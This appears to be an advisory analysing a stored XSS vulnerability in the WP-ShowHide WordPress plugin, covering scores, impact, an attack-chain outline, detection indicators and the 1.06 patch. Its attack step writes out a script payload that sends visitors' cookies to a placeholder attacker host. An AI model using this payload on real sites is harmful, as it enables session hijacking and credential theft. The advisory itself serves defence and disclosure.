CVE-2025-67541: 
WordPress vulnerability analysis and mitigation

CVE-2025-67541 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP-ShowHide WordPress plugin developed by Lester Chan. It affects all versions of the plugin up to and including version 1.05, and was reported on November 22, 2025, with public disclosure on December 9–15, 2025. The vulnerability was assigned a CVSS v3.1 base score of 7.1 (High) per NVD, while Patchstack rates it at 6.5 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. An attacker with at least Contributor or Developer-level privileges on a WordPress site can inject malicious scripts through the plugin's input fields, which are then stored in the database and rendered unsanitized to site visitors. Exploitation requires user interaction, as a privileged user must trigger the stored payload by visiting or rendering the affected content (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript or HTML payloads within the WordPress site, which execute in the browsers of any visitor viewing the affected content. This can lead to session hijacking, credential theft, unauthorized redirects, defacement, or delivery of malware to site visitors. The scope is changed (per CVSS), meaning the impact extends beyond the attacker's privilege level to affect end users of the site (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.039% (0.000390), indicating a very low probability of exploitation in the near term. Patchstack classifies this as low priority and notes it is unlikely to be exploited, though it acknowledges that XSS vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress plugins at scale (Patchstack). It is not listed in the CISA KEV catalog.

1. Reconnaissance: Identify WordPress sites running the WP-ShowHide plugin version 1.05 or earlier, using tools like WPScan or by inspecting plugin directories on target sites.
2. Obtain required privileges: Gain access to a WordPress account with at least Contributor or Developer role on the target site (e.g., via credential stuffing, phishing, or registration if open).
3. Inject malicious payload: Navigate to a post, page, or widget that uses the WP-ShowHide shortcode or plugin input field, and insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable parameter.
4. Payload persistence: Submit/save the content so the malicious script is stored in the WordPress database.
5. Trigger execution: When any site visitor (including administrators) views the page containing the injected content, the script executes in their browser, enabling session hijacking, cookie theft, or further malicious actions (Patchstack).

• Logs: WordPress access logs showing POST requests to post/page editing endpoints by low-privileged accounts (Contributor/Developer) containing script tags or encoded JavaScript in request bodies.
• Database: Unexpected <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads stored in WordPress post content or plugin-related database fields associated with WP-ShowHide shortcodes.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing WP-ShowHide content, potentially indicating active payload execution.
• File System: No direct file system artifacts expected for stored XSS, but review WordPress audit logs for unusual content edits by Contributor-level accounts.

The vulnerability is patched in WP-ShowHide version 1.06. Site administrators should update the plugin to version 1.06 or later immediately via the WordPress admin dashboard or by downloading the updated plugin from the WordPress plugin repository. If an immediate update is not possible, consider restricting Contributor and Developer role permissions or temporarily deactivating the plugin. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard (Patchstack).

The vulnerability was discovered and reported by security researcher Muhammad Yudha - DJ on November 22, 2025, and published by Patchstack on December 15, 2025. Patchstack characterizes the risk as low priority with no impactful threat observed at the time of disclosure. No significant broader media coverage or notable community discussion has been identified beyond the Patchstack advisory (Patchstack).